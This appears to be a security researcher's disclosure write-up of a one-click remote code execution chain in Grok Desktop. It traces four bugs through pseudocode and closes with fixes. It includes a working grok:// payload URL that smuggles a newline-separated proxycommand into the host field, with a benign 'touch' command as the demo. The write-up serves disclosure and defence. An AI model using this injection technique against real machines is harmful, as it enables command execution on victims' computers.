leeky.sh

Back

I found a 1-click RCE in Grok Desktop. One grok:// link runs a command on the victim's machine if they are signed in as an xAI employee. It takes four bugs across eight hops to get there.

The "Failed to connect" toast was the exploit finishing#

Imagine you work at xAI. You click a link in an email, or maybe a new bug bounty report. The link goes to a URL shortener, which redirects to a grok:// deep link.

Grok opens and runs a command on your laptop the instant you click. Then a toast pops up: "Failed to connect to devbox. Connection lost before handshake." By the time you see it, it's too late. The attacker's command already ran, before Grok made any network connection, and with no downloads or attachments.

Timeline: what the victim sees (click, Grok opens, error toast) beside what actually happens. sh -c runs the attacker's command before any network connection, and the toast appears only afterwards.

Only signed-in xAI employees are affected#

grok://connect/devbox is an internal feature. It lets an xAI engineer click a link and have Grok Desktop open an SSH session to their devbox. To keep it internal, the renderer checks the signed-in email:

is_employee(email):
    return email is a string
       and lowercase(email) ends with "@x.ai" or "@teachx.ai"
plaintext

The same grok://connect/devbox link hits is_employee(email). Any other account: no devbox connection. An @x.ai or @teachx.ai account: the connect flow starts and the injected command runs.

That is a narrow audience, but it is also the people who open internal links and triage bug bounty reports.

The whole attack is one URL#

Here's the payload. It's a grok:// deep link where the host parameter is not a hostname:

grok://connect/devbox?host=x%0Aproxycommand%20touch%20%2Ftmp%2Fpwned%0A%23%40real.x.ai
plaintext

%0A is a newline. URL-decoded, the host is three lines of text:

x
proxycommand touch /tmp/pwned
#@real.x.ai
plaintext

Anatomy of the payload URL, segment by segment: grok://, connect/devbox, ?host=, then the host value x, %0A newline, proxycommand touch /tmp/pwned, %0A newline, %23 (#), %40 (@), and real.x.ai padding.

It has three parts: a newline in the middle of a "hostname," a legitimate SSH config keyword (proxycommand), and enough trailing text to end in .x.ai. The command here is a harmless touch /tmp/pwned; in a real attack it's whatever gets you a shell.

The chain#

Getting from that URL to a shell takes eight hops. Bug 1 is hop 2, bug 2 is hops 4 and 5, bug 3 is hops 6 and 7, and bug 4 is hop 8.

The eight hops, numbered on a rail that carries the attacker's host string: 1 macOS opens Grok via the registered grok:// scheme; 2 the parser checks only the .x.ai suffix; 3 the renderer's employee-email check passes; 4 the handler adds and connects with no dialog; 5 the privileged addConnection IPC takes host as a raw string; 6 ssh -G output is parsed as trusted config; 7 OpenSSH allows a newline in the username and prints it verbatim; 8 ProxyCommand runs via sh -c with unescaped %n and the command executes.

Bug 1: host is only checked for a .x.ai suffix#

The deep-link parser validates every field it pulls out of the URL except host.

# Every field parsed from the grok:// URL has a strict rule, except host.
rule(user) = ^[a-z_][a-z0-9_-]{0,31}$      # letters/digits/_/-, <= 32 chars
rule(name) = printable ASCII, 1..64 chars
rule(id)   = a UUID

parse_devbox_link(url):
    host = trim(url.query["host"])
    if host is empty:                          reject
    if lowercase(host) does NOT end ".x.ai":   reject    # ← the ONLY check on host
    if user is present and not rule(user):     reject
    if name is present and not rule(name):     reject
    # ...same UUID check on connectionId / sessionId...
    return { host: lowercase(host), user, name, ... }
plaintext

user, name and the IDs are each matched against a strict pattern. host, the one field that ends up in a shell command, is lowercased and checked for a .x.ai suffix, and nothing else.

A newline survives trim(). It survives toLowerCase(). endsWith(".x.ai") is true for x\nproxycommand touch /tmp/pwned\n#@real.x.ai, so the parser waves it through.

Bug 1: user, name and the IDs each have a strict rule; host only has an ends-with .x.ai check. The payload host passes trim(), the empty check, toLowerCase() and endsWith(".x.ai") and is accepted with both newlines intact.

real.x.ai is just padding. It doesn't need to exist or resolve, because the command runs before any connection is made. The payload only has to pass the checks.

Bug 2: the app connects with nobody asking#

The renderer handler takes the parsed payload, saves it, and starts connecting, with no prompt:

# Renderer, fired by the deep link. No dialog anywhere on this path.
on_connect_devbox(link):
    record = {
        host:      link.host,     # raw, still unvalidated
        port:      22,
        transport: "websocket",
        ...
    }
    ssh.add_connection(record)          # persist the payload to disk
    ssh.connect(record.connection_id)   # start connecting → fires the sink
plaintext

Bug 2: the deep link goes to on_connect_devbox, then ssh.add_connection persists the payload and ssh.connect fires the sink. A dashed outline marks where a confirmation prompt would go; it does not exist.

There is no dialog, prompt or warning. The tRPC mutation behind addConnection doesn't re-validate host either.

Bug 3: ssh -G echoes the username back as config#

Grok resolves connection settings by running the real ssh binary and treating each line of its output as trusted config:

run:  ssh -G -p 22 "<raw host>"     # the raw, multi-line deep-link host, passed straight through
plaintext

OpenSSH parses the destination as user@hostname, splitting on the last @.

OpenSSH only rejects this payload as of 10.1 (Oct 2025, CVE-2025-61984 ↗); the chain needs an older ssh. It's the second of four character-sanitization patches to this same username path in three years (CVE-2023-51385 ↗, CVE-2025-61984, CVE-2026-35386 ↗, CVE-2026-106583 ↗), and none of them treat ssh -G itself as untrusted, which is exactly what Grok does.

ssh -G prints the resolved configuration as keyword value lines, and it prints the username verbatim. A username containing a newline therefore comes out as a line break.

For the payload's username, x\nproxycommand touch /tmp/pwned\n#, the output is:

user x
proxycommand touch /tmp/pwned
#
hostname real.x.ai
plaintext

Bug 3: OpenSSH splits the destination on the last @. The user half, holding two newlines, is never validated. ssh -G prints it verbatim across three lines, and Grok's parser reads the proxycommand line as config while original_host stays raw.

The attacker writes the proxycommand line into the deep-link payload. OpenSSH prints it as an ordinary setting, and Grok parses it as one:

# Treat every line of `ssh -G` output as trusted SSH config.
parse_ssh_g_output(lines, input):
    config.original_host = input.host     # the RAW host, never rewritten
    config.hostname      = input.host
    for each line:
        keyword, value = split line on first whitespace
        if keyword == "hostname":     config.hostname      = value   # → clean real.x.ai
        if keyword == "proxycommand": config.proxy_command = value   # → the attacker's command
    return config    # config.original_host is STILL the raw multi-line string
plaintext

Bug 4: ProxyCommand is a shell string, and %n is attacker-controlled#

ProxyCommand is a real SSH feature: it runs a helper program to establish the connection, often a bastion tunnel.

Grok runs it the way SSH does, through a shell, and expands the usual % tokens into it:

# Build the proxy socket by running ProxyCommand through a shell.
build_proxy_sock(config):
    command = expand_tokens(config.proxy_command, config)
    spawn:  sh -c "<command>"        # a shell string, not an argv array; no quoting

expand_tokens(template, config):
    substitute in template:
        %h → config.hostname        # validated → real.x.ai
        %n → config.original_host   # RAW, unescaped deep-link host, newlines intact
        %p → config.port
        %r → effective username
plaintext

Bug 4: token expansion, where %h is the validated hostname but %n is the raw, unescaped deep-link host. The result goes to sh -c as one shell string, so touch /tmp/pwned runs during socket setup, before the SSH handshake that never completes.

sh -c runs the string, and a newline in that string is a command separator. The injected touch /tmp/pwned line is a whole command on its own, so it runs directly.

spawn runs during socket setup, before the SSH handshake. The command has already executed by the time ssh fails with Connection lost before handshake, which is the toast from the intro.

Why the chain works#

Reported alone, each bug is easy to dismiss: it's just a hostname, it's an internal convenience link, it's how ssh -G works, ProxyCommand is supposed to run a shell command. All of that is true.

The chain works because no two layers agree on what host is: the parser validated a suffix, tRPC takes z.string(), OpenSSH echoes a username it was never asked to sanitize, and the transport puts the result in a shell.

Four reasonable dismissals beside what each layer actually does: the parser validates a suffix, the renderer connects with no prompt and tRPC takes z.string(), ssh -G echoes an unsanitized username, and the transport puts attacker text into a shell.

Fixing any one layer breaks the chain:

  • Validate host as a hostname in the parser, not just a suffix.
  • Ask for confirmation before the deep link adds and starts a connection.
  • Don't treat ssh -G output as a trust boundary.
  • Quote or drop %n before it reaches sh -c.